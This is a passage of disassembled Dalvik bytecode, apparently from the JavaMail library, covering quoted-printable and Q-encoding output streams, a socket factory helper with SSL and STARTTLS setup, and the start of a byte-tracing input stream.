0000009A throw v1
.catch NumberFormatException {:52 .. :64} :68
.end method
#--------------------------------------------------------------------------------
.class public QPEncoderStream
.super FilterOutputStream
.source ""
.field private static final hex:[C
.field private bytesPerLine:I
.field private count:I
.field private gotCR:Z
.field private gotSpace:Z
.method static constructor <clinit>()V
.registers 1
00000000 const/16 v0, 0x10
00000004 new-array v0, v0, [C
00000008 fill-array-data v0, :14
0000000E sput-object v0, QPEncoderStream->hex:[C
00000012 return-void
00000014 .array-data 2 x 0x10
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x41
0x42
0x43
0x44
0x45
0x46
.end array-data
.end method
.method public constructor <init>(OutputStream)V
.registers 3
00000000 const/16 v0, 0x4C
00000004 invoke-direct QPEncoderStream-><init>(OutputStream, I)V, p0, p1, v0
0000000A return-void
.end method
.method public constructor <init>(OutputStream, I)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct FilterOutputStream-><init>(OutputStream)V, p0, p1
00000008 iput v0, p0, QPEncoderStream->count:I
0000000C iput-boolean v0, p0, QPEncoderStream->gotSpace:Z
00000010 iput-boolean v0, p0, QPEncoderStream->gotCR:Z
00000014 add-int/lit8 v0, p2, 0xFFFFFFFFFFFFFFFF
00000018 iput v0, p0, QPEncoderStream->bytesPerLine:I
0000001C return-void
.end method
.method private outputCRLF()V
.registers 3
00000000 iget-object v0, p0, QPEncoderStream->out:OutputStream
00000004 const/16 v1, 0xD
00000008 invoke-virtual OutputStream->write(I)V, v0, v1
0000000E iget-object v0, p0, QPEncoderStream->out:OutputStream
00000012 const/16 v1, 0xA
00000016 invoke-virtual OutputStream->write(I)V, v0, v1
0000001C const/4 v0, 0x0
0000001E iput v0, p0, QPEncoderStream->count:I
00000022 return-void
.end method
.method public close()V
.registers 2
00000000 iget-object v0, p0, QPEncoderStream->out:OutputStream
00000004 invoke-virtual OutputStream->close()V, v0
0000000A return-void
.end method
.method public flush()V
.registers 2
00000000 iget-object v0, p0, QPEncoderStream->out:OutputStream
00000004 invoke-virtual OutputStream->flush()V, v0
0000000A return-void
.end method
.method protected output(I, Z)V
.registers 8
00000000 const/16 v4, 0xD
00000004 const/16 v3, 0xA
00000008 const/16 v2, 0x3D
0000000C if-eqz p2, :80
:10
00000010 iget v0, p0, QPEncoderStream->count:I
00000014 add-int/lit8 v0, v0, 0x3
00000018 iput v0, p0, QPEncoderStream->count:I
0000001C iget v1, p0, QPEncoderStream->bytesPerLine:I
00000020 if-le v0, v1, :48
:24
00000024 iget-object v0, p0, QPEncoderStream->out:OutputStream
00000028 invoke-virtual OutputStream->write(I)V, v0, v2
0000002E iget-object v0, p0, QPEncoderStream->out:OutputStream
00000032 invoke-virtual OutputStream->write(I)V, v0, v4
00000038 iget-object v0, p0, QPEncoderStream->out:OutputStream
0000003C invoke-virtual OutputStream->write(I)V, v0, v3
00000042 const/4 v0, 0x3
00000044 iput v0, p0, QPEncoderStream->count:I
:48
00000048 iget-object v0, p0, QPEncoderStream->out:OutputStream
0000004C invoke-virtual OutputStream->write(I)V, v0, v2
00000052 iget-object v0, p0, QPEncoderStream->out:OutputStream
00000056 sget-object v1, QPEncoderStream->hex:[C
0000005A shr-int/lit8 v2, p1, 0x4
0000005E aget-char v1, v1, v2
00000062 invoke-virtual OutputStream->write(I)V, v0, v1
00000068 iget-object v0, p0, QPEncoderStream->out:OutputStream
0000006C sget-object v1, QPEncoderStream->hex:[C
00000070 and-int/lit8 v2, p1, 0xF
00000074 aget-char v1, v1, v2
00000078 invoke-virtual OutputStream->write(I)V, v0, v1
:7E
0000007E return-void
:80
00000080 iget v0, p0, QPEncoderStream->count:I
00000084 add-int/lit8 v0, v0, 0x1
00000088 iput v0, p0, QPEncoderStream->count:I
0000008C iget v1, p0, QPEncoderStream->bytesPerLine:I
00000090 if-le v0, v1, :B8
:94
00000094 iget-object v0, p0, QPEncoderStream->out:OutputStream
00000098 invoke-virtual OutputStream->write(I)V, v0, v2
0000009E iget-object v0, p0, QPEncoderStream->out:OutputStream
000000A2 invoke-virtual OutputStream->write(I)V, v0, v4
000000A8 iget-object v0, p0, QPEncoderStream->out:OutputStream
000000AC invoke-virtual OutputStream->write(I)V, v0, v3
000000B2 const/4 v0, 0x1
000000B4 iput v0, p0, QPEncoderStream->count:I
:B8
000000B8 iget-object v0, p0, QPEncoderStream->out:OutputStream
000000BC invoke-virtual OutputStream->write(I)V, v0, p1
000000C2 goto :7E
.end method
.method public write(I)V
.registers 9
00000000 const/16 v6, 0xD
00000004 const/16 v5, 0xA
00000008 const/16 v4, 0x20
0000000C const/4 v3, 0x1
0000000E const/4 v2, 0x0
00000010 and-int/lit16 v0, p1, 0xFF
00000014 iget-boolean v1, p0, QPEncoderStream->gotSpace:Z
00000018 if-eqz v1, :2E
:1C
0000001C if-eq v0, v6, :24
:20
00000020 if-ne v0, v5, :3E
:24
00000024 invoke-virtual QPEncoderStream->output(I, Z)V, p0, v4, v3
:2A
0000002A iput-boolean v2, p0, QPEncoderStream->gotSpace:Z
:2E
0000002E if-ne v0, v6, :46
:32
00000032 iput-boolean v3, p0, QPEncoderStream->gotCR:Z
00000036 invoke-direct QPEncoderStream->outputCRLF()V, p0
:3C
0000003C return-void
:3E
0000003E invoke-virtual QPEncoderStream->output(I, Z)V, p0, v4, v2
00000044 goto :2A
:46
00000046 if-ne v0, v5, :60
:4A
0000004A iget-boolean v0, p0, QPEncoderStream->gotCR:Z
0000004E if-eqz v0, :58
:52
00000052 iput-boolean v2, p0, QPEncoderStream->gotCR:Z
00000056 goto :3C
:58
00000058 invoke-direct QPEncoderStream->outputCRLF()V, p0
0000005E goto :52
:60
00000060 if-ne v0, v4, :6A
:64
00000064 iput-boolean v3, p0, QPEncoderStream->gotSpace:Z
00000068 goto :52
:6A
0000006A if-lt v0, v4, :7E
:6E
0000006E const/16 v1, 0x7F
00000072 if-ge v0, v1, :7E
:76
00000076 const/16 v1, 0x3D
0000007A if-ne v0, v1, :86
:7E
0000007E invoke-virtual QPEncoderStream->output(I, Z)V, p0, v0, v3
00000084 goto :52
:86
00000086 invoke-virtual QPEncoderStream->output(I, Z)V, p0, v0, v2
0000008C goto :52
.end method
.method public write([B)V
.registers 4
00000000 const/4 v0, 0x0
00000002 array-length v1, p1
00000004 invoke-virtual QPEncoderStream->write([B, I, I)V, p0, p1, v0, v1
0000000A return-void
.end method
.method public write([B, I, I)V
.registers 6
00000000 const/4 v0, 0x0
:2
00000002 if-lt v0, p3, :8
:6
00000006 return-void
:8
00000008 add-int v1, p2, v0
0000000C aget-byte v1, p1, v1
00000010 invoke-virtual QPEncoderStream->write(I)V, p0, v1
00000016 add-int/lit8 v0, v0, 0x1
0000001A goto :2
.end method
#--------------------------------------------------------------------------------
.class public QEncoderStream
.super QPEncoderStream
.source ""
.field private static TEXT_SPECIALS:String
.field private static WORD_SPECIALS:String
.field private specials:String
.method static constructor <clinit>()V
.registers 1
00000000 const-string v0, "=_?\"#$%&\'(),.:;<>@[\\]^`{|}~"
00000004 sput-object v0, QEncoderStream->WORD_SPECIALS:String
00000008 const-string v0, "=_?"
0000000C sput-object v0, QEncoderStream->TEXT_SPECIALS:String
00000010 return-void
.end method
.method public constructor <init>(OutputStream, Z)V
.registers 4
00000000 const v0, 0x7FFFFFFF
00000006 invoke-direct QPEncoderStream-><init>(OutputStream, I)V, p0, p1, v0
0000000C if-eqz p2, :1A
:10
00000010 sget-object v0, QEncoderStream->WORD_SPECIALS:String
:14
00000014 iput-object v0, p0, QEncoderStream->specials:String
00000018 return-void
:1A
0000001A sget-object v0, QEncoderStream->TEXT_SPECIALS:String
0000001E goto :14
.end method
.method public static encodedLength([B, Z)I
.registers 7
00000000 const/4 v1, 0x0
00000002 if-eqz p1, :14
:6
00000006 sget-object v0, QEncoderStream->WORD_SPECIALS:String
:A
0000000A move v2, v1
:C
0000000C array-length v3, p0
0000000E if-lt v1, v3, :1A
:12
00000012 return v2
:14
00000014 sget-object v0, QEncoderStream->TEXT_SPECIALS:String
00000018 goto :A
:1A
0000001A aget-byte v3, p0, v1
0000001E and-int/lit16 v3, v3, 0xFF
00000022 const/16 v4, 0x20
00000026 if-lt v3, v4, :3E
:2A
0000002A const/16 v4, 0x7F
0000002E if-ge v3, v4, :3E
:32
00000032 invoke-virtual String->indexOf(I)I, v0, v3
00000038 move-result v3
0000003A if-ltz v3, :48
:3E
0000003E add-int/lit8 v2, v2, 0x3
:42
00000042 add-int/lit8 v1, v1, 0x1
00000046 goto :C
:48
00000048 add-int/lit8 v2, v2, 0x1
0000004C goto :42
.end method
.method public write(I)V
.registers 5
00000000 const/16 v1, 0x20
00000004 const/4 v2, 0x0
00000006 and-int/lit16 v0, p1, 0xFF
0000000A if-ne v0, v1, :1A
:E
0000000E const/16 v0, 0x5F
00000012 invoke-virtual QEncoderStream->output(I, Z)V, p0, v0, v2
:18
00000018 return-void
:1A
0000001A if-lt v0, v1, :36
:1E
0000001E const/16 v1, 0x7F
00000022 if-ge v0, v1, :36
:26
00000026 iget-object v1, p0, QEncoderStream->specials:String
0000002A invoke-virtual String->indexOf(I)I, v1, v0
00000030 move-result v1
00000032 if-ltz v1, :40
:36
00000036 const/4 v1, 0x1
00000038 invoke-virtual QEncoderStream->output(I, Z)V, p0, v0, v1
0000003E goto :18
:40
00000040 invoke-virtual QEncoderStream->output(I, Z)V, p0, v0, v2
00000046 goto :18
.end method
#--------------------------------------------------------------------------------
.class SocketFetcher$1
.super Object
.source ""
.implements PrivilegedAction
.method constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public run()Object
.registers 3
00000000 const/4 v0, 0x0
:2
00000002 invoke-static Thread->currentThread()Thread
00000008 move-result-object v1
0000000A invoke-virtual Thread->getContextClassLoader()ClassLoader, v1
:10
00000010 move-result-object v0
:12
00000012 return-object v0
:14
00000014 move-exception v1
00000016 goto :12
.catch SecurityException {:2 .. :10} :14
.end method
#--------------------------------------------------------------------------------
.class public SocketFetcher
.super Object
.source ""
.method private constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method private static configureSSLSocket(Socket, Properties, String)V
.registers 7
00000000 const/4 v3, 0x0
00000002 instance-of v0, p0, SSLSocket
00000006 if-nez v0, :C
:A
0000000A return-void
:C
0000000C check-cast p0, SSLSocket
00000010 new-instance v0, StringBuilder
00000014 invoke-static String->valueOf(Object)String, p2
0000001A move-result-object v1
0000001C invoke-direct StringBuilder-><init>(String)V, v0, v1
00000022 const-string v1, ".ssl.protocols"
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002C move-result-object v0
0000002E invoke-virtual StringBuilder->toString()String, v0
00000034 move-result-object v0
00000036 invoke-virtual Properties->getProperty(String, String)String, p1, v0, v3
0000003C move-result-object v0
0000003E if-eqz v0, :92
:42
00000042 invoke-static SocketFetcher->stringArray(String)[String, v0
00000048 move-result-object v0
0000004A invoke-virtual SSLSocket->setEnabledProtocols([String)V, p0, v0
:50
00000050 new-instance v0, StringBuilder
00000054 invoke-static String->valueOf(Object)String, p2
0000005A move-result-object v1
0000005C invoke-direct StringBuilder-><init>(String)V, v0, v1
00000062 const-string v1, ".ssl.ciphersuites"
00000066 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000006C move-result-object v0
0000006E invoke-virtual StringBuilder->toString()String, v0
00000074 move-result-object v0
00000076 invoke-virtual Properties->getProperty(String, String)String, p1, v0, v3
0000007C move-result-object v0
0000007E if-eqz v0, :A
:82
00000082 invoke-static SocketFetcher->stringArray(String)[String, v0
00000088 move-result-object v0
0000008A invoke-virtual SSLSocket->setEnabledCipherSuites([String)V, p0, v0
00000090 goto :A
:92
00000092 const/4 v0, 0x1
00000094 new-array v0, v0, [String
00000098 const/4 v1, 0x0
0000009A const-string v2, "TLSv1"
0000009E aput-object v2, v0, v1
000000A2 invoke-virtual SSLSocket->setEnabledProtocols([String)V, p0, v0
000000A8 goto :50
.end method
.method private static createSocket(InetAddress, I, String, I, I, SocketFactory, Z)Socket
.registers 9
00000000 if-eqz p5, :36
:4
00000004 invoke-virtual SocketFactory->createSocket()Socket, p5
0000000A move-result-object v0
:C
0000000C if-eqz p0, :20
:10
00000010 new-instance v1, InetSocketAddress
00000014 invoke-direct InetSocketAddress-><init>(InetAddress, I)V, v1, p0, p1
0000001A invoke-virtual Socket->bind(SocketAddress)V, v0, v1
:20
00000020 if-ltz p4, :58
:24
00000024 new-instance v1, InetSocketAddress
00000028 invoke-direct InetSocketAddress-><init>(String, I)V, v1, p2, p3
0000002E invoke-virtual Socket->connect(SocketAddress, I)V, v0, v1, p4
:34
00000034 return-object v0
:36
00000036 if-eqz p6, :4C
:3A
0000003A invoke-static SSLSocketFactory->getDefault()SocketFactory
00000040 move-result-object v0
00000042 invoke-virtual SocketFactory->createSocket()Socket, v0
00000048 move-result-object v0
0000004A goto :C
:4C
0000004C new-instance v0, Socket
00000050 invoke-direct Socket-><init>()V, v0
00000056 goto :C
:58
00000058 new-instance v1, InetSocketAddress
0000005C invoke-direct InetSocketAddress-><init>(String, I)V, v1, p2, p3
00000062 invoke-virtual Socket->connect(SocketAddress)V, v0, v1
00000068 goto :34
.end method
.method private static getContextClassLoader()ClassLoader
.registers 1
00000000 new-instance v0, SocketFetcher$1
00000004 invoke-direct SocketFetcher$1-><init>()V, v0
0000000A invoke-static AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, ClassLoader
00000016 return-object v0
.end method
.method public static getSocket(String, I, Properties, String)Socket
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-static SocketFetcher->getSocket(String, I, Properties, String, Z)Socket, p0, p1, p2, p3, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public static getSocket(String, I, Properties, String, Z)Socket
.registers 16
00000000 if-nez p3, :8
:4
00000004 const-string p3, "socket"
:8
00000008 if-nez p2, :16
:C
0000000C new-instance p2, Properties
00000010 invoke-direct Properties-><init>()V, p2
:16
00000016 new-instance v0, StringBuilder
0000001A invoke-static String->valueOf(Object)String, p3
00000020 move-result-object v1
00000022 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000028 const-string v1, ".connectiontimeout"
0000002C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000032 move-result-object v0
00000034 invoke-virtual StringBuilder->toString()String, v0
0000003A move-result-object v0
0000003C const/4 v1, 0x0
0000003E invoke-virtual Properties->getProperty(String, String)String, p2, v0, v1
00000044 move-result-object v0
00000046 const/4 v4, 0xFFFFFFFFFFFFFFFF
00000048 if-eqz v0, :54
:4C
0000004C invoke-static Integer->parseInt(String)I, v0
:52
00000052 move-result v4
:54
00000054 const/4 v8, 0x0
00000056 new-instance v0, StringBuilder
0000005A invoke-static String->valueOf(Object)String, p3
00000060 move-result-object v1
00000062 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000068 const-string v1, ".timeout"
0000006C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000072 move-result-object v0
00000074 invoke-virtual StringBuilder->toString()String, v0
0000007A move-result-object v0
0000007C const/4 v1, 0x0
0000007E invoke-virtual Properties->getProperty(String, String)String, p2, v0, v1
00000084 move-result-object v9
00000086 new-instance v0, StringBuilder
0000008A invoke-static String->valueOf(Object)String, p3
00000090 move-result-object v1
00000092 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000098 const-string v1, ".localaddress"
0000009C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000A2 move-result-object v0
000000A4 invoke-virtual StringBuilder->toString()String, v0
000000AA move-result-object v0
000000AC const/4 v1, 0x0
000000AE invoke-virtual Properties->getProperty(String, String)String, p2, v0, v1
000000B4 move-result-object v1
000000B6 const/4 v0, 0x0
000000B8 if-eqz v1, :C4
:BC
000000BC invoke-static InetAddress->getByName(String)InetAddress, v1
000000C2 move-result-object v0
:C4
000000C4 new-instance v1, StringBuilder
000000C8 invoke-static String->valueOf(Object)String, p3
000000CE move-result-object v2
000000D0 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000D6 const-string v2, ".localport"
000000DA invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000E0 move-result-object v1
000000E2 invoke-virtual StringBuilder->toString()String, v1
000000E8 move-result-object v1
000000EA const/4 v2, 0x0
000000EC invoke-virtual Properties->getProperty(String, String)String, p2, v1, v2
000000F2 move-result-object v2
000000F4 const/4 v1, 0x0
000000F6 if-eqz v2, :102
:FA
000000FA invoke-static Integer->parseInt(String)I, v2
:100
00000100 move-result v1
:102
00000102 new-instance v2, StringBuilder
00000106 invoke-static String->valueOf(Object)String, p3
0000010C move-result-object v3
0000010E invoke-direct StringBuilder-><init>(String)V, v2, v3
00000114 const-string v3, ".socketFactory.fallback"
00000118 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000011E move-result-object v2
00000120 invoke-virtual StringBuilder->toString()String, v2
00000126 move-result-object v2
00000128 const/4 v3, 0x0
0000012A invoke-virtual Properties->getProperty(String, String)String, p2, v2, v3
00000130 move-result-object v2
00000132 if-eqz v2, :20E
:136
00000136 const-string v3, "false"
0000013A invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000140 move-result v2
00000142 if-eqz v2, :20E
:146
00000146 const/4 v2, 0x0
00000148 move v7, v2
:14A
0000014A new-instance v2, StringBuilder
0000014E invoke-static String->valueOf(Object)String, p3
00000154 move-result-object v3
00000156 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000015C const-string v3, ".socketFactory.class"
00000160 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000166 move-result-object v2
00000168 invoke-virtual StringBuilder->toString()String, v2
0000016E move-result-object v2
00000170 const/4 v3, 0x0
00000172 invoke-virtual Properties->getProperty(String, String)String, p2, v2, v3
00000178 move-result-object v10
0000017A const/4 v3, 0xFFFFFFFFFFFFFFFF
:17C
0000017C invoke-static SocketFetcher->getSocketFactory(String)SocketFactory, v10
00000182 move-result-object v5
00000184 if-eqz v5, :2D8
:188
00000188 new-instance v2, StringBuilder
0000018C invoke-static String->valueOf(Object)String, p3
00000192 move-result-object v6
00000194 invoke-direct StringBuilder-><init>(String)V, v2, v6
0000019A const-string v6, ".socketFactory.port"
0000019E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v6
000001A4 move-result-object v2
000001A6 invoke-virtual StringBuilder->toString()String, v2
000001AC move-result-object v2
000001AE const/4 v6, 0x0
000001B0 invoke-virtual Properties->getProperty(String, String)String, p2, v2, v6
:1B6
000001B6 move-result-object v2
000001B8 if-eqz v2, :1C4
:1BC
000001BC invoke-static Integer->parseInt(String)I, v2
:1C2
000001C2 move-result v3
:1C4
000001C4 const/4 v2, 0xFFFFFFFFFFFFFFFF
000001C6 if-ne v3, v2, :1CC
:1CA
000001CA move v3, p1
:1CC
000001CC move-object v2, p0
000001CE move v6, p4
:1D0
000001D0 invoke-static/range SocketFetcher->createSocket(InetAddress, I, String, I, I, SocketFactory, Z)Socket, v0 .. v6
:1D6
000001D6 move-result-object v2
:1D8
000001D8 if-nez v2, :2D0
:1DC
000001DC const/4 v5, 0x0
000001DE move-object v2, p0
000001E0 move v3, p1
000001E2 move v6, p4
000001E4 invoke-static/range SocketFetcher->createSocket(InetAddress, I, String, I, I, SocketFactory, Z)Socket, v0 .. v6
000001EA move-result-object v0
000001EC move-object v1, v0
:1EE
000001EE const/4 v0, 0xFFFFFFFFFFFFFFFF
000001F0 if-eqz v9, :1FC
:1F4
000001F4 invoke-static Integer->parseInt(String)I, v9
:1FA
000001FA move-result v0
:1FC
000001FC if-ltz v0, :206
:200
00000200 invoke-virtual Socket->setSoTimeout(I)V, v1, v0
:206
00000206 invoke-static SocketFetcher->configureSSLSocket(Socket, Properties, String)V, v1, p2, p3
0000020C return-object v1
:20E
0000020E const/4 v2, 0x1
00000210 move v7, v2
00000212 goto :14A
:214
00000214 move-exception v0
00000216 throw v0
:218
00000218 move-exception v2
0000021A if-nez v7, :2D8
:21E
0000021E instance-of v0, v2, InvocationTargetException
00000222 if-eqz v0, :2D4
:226
00000226 move-object v0, v2
00000228 check-cast v0, InvocationTargetException
0000022C invoke-virtual InvocationTargetException->getTargetException()Throwable, v0
00000232 move-result-object v0
00000234 instance-of v1, v0, Exception
00000238 if-eqz v1, :2D4
:23C
0000023C check-cast v0, Exception
:240
00000240 instance-of v1, v0, IOException
00000244 if-eqz v1, :24E
:248
00000248 check-cast v0, IOException
0000024C throw v0
:24E
0000024E new-instance v1, IOException
00000252 new-instance v2, StringBuilder
00000256 const-string v4, "Couldn\'t connect using \""
0000025A invoke-direct StringBuilder-><init>(String)V, v2, v4
00000260 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v10
00000266 move-result-object v2
00000268 const-string v4, "\" socket factory to host, port: "
0000026C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v4
00000272 move-result-object v2
00000274 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p0
0000027A move-result-object v2
0000027C const-string v4, ", "
00000280 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v4
00000286 move-result-object v2
00000288 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v3
0000028E move-result-object v2
00000290 const-string v3, "; Exception: "
00000294 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000029A move-result-object v2
0000029C invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
000002A2 move-result-object v2
000002A4 invoke-virtual StringBuilder->toString()String, v2
000002AA move-result-object v2
000002AC invoke-direct IOException-><init>(String)V, v1, v2
000002B2 invoke-virtual IOException->initCause(Throwable)Throwable, v1, v0
000002B8 throw v1
:2BA
000002BA move-exception v0
000002BC goto/16 :54
:2C0
000002C0 move-exception v2
000002C2 goto/16 :102
:2C6
000002C6 move-exception v2
000002C8 goto/16 :1C4
:2CC
000002CC move-exception v2
000002CE goto :1FC
:2D0
000002D0 move-object v1, v2
000002D2 goto :1EE
:2D4
000002D4 move-object v0, v2
000002D6 goto :240
:2D8
000002D8 move-object v2, v8
000002DA goto/16 :1D8
.catch NumberFormatException {:4C .. :52} :2BA
.catch NumberFormatException {:FA .. :100} :2C0
.catch SocketTimeoutException {:17C .. :1B6} :214
.catch Exception {:17C .. :1B6} :218
.catch NumberFormatException {:1BC .. :1C2} :2C6
.catch SocketTimeoutException {:1BC .. :1C2} :214
.catch Exception {:1BC .. :1C2} :218
.catch SocketTimeoutException {:1D0 .. :1D6} :214
.catch Exception {:1D0 .. :1D6} :218
.catch NumberFormatException {:1F4 .. :1FA} :2CC
.end method
.method private static getSocketFactory(String)SocketFactory
.registers 5
00000000 const/4 v0, 0x0
00000002 const/4 v3, 0x0
00000004 if-eqz p0, :14
:8
00000008 invoke-virtual String->length()I, p0
0000000E move-result v1
00000010 if-nez v1, :16
:14
00000014 return-object v0
:16
00000016 invoke-static SocketFetcher->getContextClassLoader()ClassLoader
0000001C move-result-object v1
0000001E if-eqz v1, :2A
:22
00000022 invoke-virtual ClassLoader->loadClass(String)Class, v1, p0
:28
00000028 move-result-object v0
:2A
0000002A if-nez v0, :36
:2E
0000002E invoke-static Class->forName(String)Class, p0
00000034 move-result-object v0
:36
00000036 const-string v1, "getDefault"
0000003A new-array v2, v3, [Class
0000003E invoke-virtual Class->getMethod(String, [Class)Method, v0, v1, v2
00000044 move-result-object v0
00000046 new-instance v1, Object
0000004A invoke-direct Object-><init>()V, v1
00000050 new-array v2, v3, [Object
00000054 invoke-virtual Method->invoke(Object, [Object)Object, v0, v1, v2
0000005A move-result-object v0
0000005C check-cast v0, SocketFactory
00000060 goto :14
:62
00000062 move-exception v1
00000064 goto :2A
.catch ClassNotFoundException {:22 .. :28} :62
.end method
.method public static startTLS(Socket)Socket
.registers 3
00000000 new-instance v0, Properties
00000004 invoke-direct Properties-><init>()V, v0
0000000A const-string v1, "socket"
0000000E invoke-static SocketFetcher->startTLS(Socket, Properties, String)Socket, p0, v0, v1
00000014 move-result-object v0
00000016 return-object v0
.end method
.method public static startTLS(Socket, Properties, String)Socket
.registers 9
00000000 invoke-virtual Socket->getInetAddress()InetAddress, p0
00000006 move-result-object v0
00000008 invoke-virtual InetAddress->getHostName()String, v0
0000000E move-result-object v2
00000010 invoke-virtual Socket->getPort()I, p0
00000016 move-result v3
:18
00000018 new-instance v0, StringBuilder
0000001C invoke-static String->valueOf(Object)String, p2
00000022 move-result-object v1
00000024 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000002A const-string v1, ".socketFactory.class"
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000034 move-result-object v0
00000036 invoke-virtual StringBuilder->toString()String, v0
0000003C move-result-object v0
0000003E const/4 v1, 0x0
00000040 invoke-virtual Properties->getProperty(String, String)String, p1, v0, v1
00000046 move-result-object v0
00000048 invoke-static SocketFetcher->getSocketFactory(String)SocketFactory, v0
0000004E move-result-object v0
00000050 if-eqz v0, :72
:54
00000054 instance-of v1, v0, SSLSocketFactory
00000058 if-eqz v1, :72
:5C
0000005C check-cast v0, SSLSocketFactory
:60
00000060 const/4 v1, 0x1
00000062 invoke-virtual SSLSocketFactory->createSocket(Socket, String, I, Z)Socket, v0, p0, v2, v3, v1
00000068 move-result-object v0
0000006A invoke-static SocketFetcher->configureSSLSocket(Socket, Properties, String)V, v0, p1, p2
00000070 return-object v0
:72
00000072 invoke-static SSLSocketFactory->getDefault()SocketFactory
00000078 move-result-object v0
0000007A check-cast v0, SSLSocketFactory
:7E
0000007E goto :60
:80
00000080 move-exception v1
00000082 instance-of v0, v1, InvocationTargetException
00000086 if-eqz v0, :10A
:8A
0000008A move-object v0, v1
0000008C check-cast v0, InvocationTargetException
00000090 invoke-virtual InvocationTargetException->getTargetException()Throwable, v0
00000096 move-result-object v0
00000098 instance-of v4, v0, Exception
0000009C if-eqz v4, :10A
:A0
000000A0 check-cast v0, Exception
:A4
000000A4 instance-of v1, v0, IOException
000000A8 if-eqz v1, :B2
:AC
000000AC check-cast v0, IOException
000000B0 throw v0
:B2
000000B2 new-instance v1, IOException
000000B6 new-instance v4, StringBuilder
000000BA const-string v5, "Exception in startTLS: host "
000000BE invoke-direct StringBuilder-><init>(String)V, v4, v5
000000C4 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v2
000000CA move-result-object v2
000000CC const-string v4, ", port "
000000D0 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v4
000000D6 move-result-object v2
000000D8 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v3
000000DE move-result-object v2
000000E0 const-string v3, "; Exception: "
000000E4 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000000EA move-result-object v2
000000EC invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
000000F2 move-result-object v2
000000F4 invoke-virtual StringBuilder->toString()String, v2
000000FA move-result-object v2
000000FC invoke-direct IOException-><init>(String)V, v1, v2
00000102 invoke-virtual IOException->initCause(Throwable)Throwable, v1, v0
00000108 throw v1
:10A
0000010A move-object v0, v1
0000010C goto :A4
.catch Exception {:18 .. :7E} :80
.end method
.method private static stringArray(String)[String
.registers 4
00000000 new-instance v0, StringTokenizer
00000004 invoke-direct StringTokenizer-><init>(String)V, v0, p0
0000000A new-instance v1, ArrayList
0000000E invoke-direct ArrayList-><init>()V, v1
:14
00000014 invoke-virtual StringTokenizer->hasMoreTokens()Z, v0
0000001A move-result v2
0000001C if-nez v2, :3A
:20
00000020 invoke-interface List->size()I, v1
00000026 move-result v0
00000028 new-array v0, v0, [String
0000002C invoke-interface List->toArray([Object)[Object, v1, v0
00000032 move-result-object v0
00000034 check-cast v0, [String
00000038 return-object v0
:3A
0000003A invoke-virtual StringTokenizer->nextToken()String, v0
00000040 move-result-object v2
00000042 invoke-interface List->add(Object)Z, v1, v2
00000048 goto :14
.end method
#--------------------------------------------------------------------------------
.class public TraceInputStream
.super FilterInputStream
.source ""
.field private quote:Z
.field private trace:Z
.field private traceOut:OutputStream
.method public constructor <init>(InputStream, OutputStream)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct FilterInputStream-><init>(InputStream)V, p0, p1
00000008 iput-boolean v0, p0, TraceInputStream->trace:Z
0000000C iput-boolean v0, p0, TraceInputStream->quote:Z
00000010 iput-object p2, p0, TraceInputStream->traceOut:OutputStream
00000014 return-void
.end method
.method private final writeByte(I)V
.registers 7
00000000 const/16 v4, 0xA
00000004 const/16 v3, 0x5C
00000008 and-int/lit16 v0, p1, 0xFF
0000000C const/16 v1, 0x7F
00000010 if-le v0, v1, :34
:14
00000014 iget-object v1, p0, TraceInputStream->traceOut:OutputStream
00000018 const/16 v2, 0x4D
0000001C invoke-virtual OutputStream->write(I)V, v1, v2
00000022 iget-object v1, p0, TraceInputStream->traceOut:OutputStream
00000026 const/16 v2, 0x2D
0000002A invoke-virtual OutputStream->write(I)V, v1, v2
00000030 and-int/lit8 v0, v0, 0x7F
:34
00000034 const/16 v1, 0xD
00000038 if-ne v0, v1, :56
:3C
0000003C iget-object v0, p0, TraceInputStream->traceOut:OutputStream
00000040 invoke-virtual OutputStream->write(I)V, v0, v3
00000046 iget-object v0, p0, TraceInputStream->traceOut:OutputStream
0000004A const/16 v1, 0x72
0000004E invoke-virtual OutputStream->write(I)V, v0, v1
:54
00000054 return-void
:56
00000056 if-ne v0, v4, :7E
:5A
0000005A iget-object v0, p0, TraceInputStream->traceOut:OutputStream
0000005E invoke-virtual OutputStream->write(I)V, v0, v3
00000064 iget-object v0, p0, TraceInputStream->traceOut:OutputStream
00000068 const/16 v1, 0x6E
0000006C invoke-virtual OutputStream->write(I)V, v0, v1
00000072 iget-object v0, p0, TraceInputStream->traceOut:OutputStream
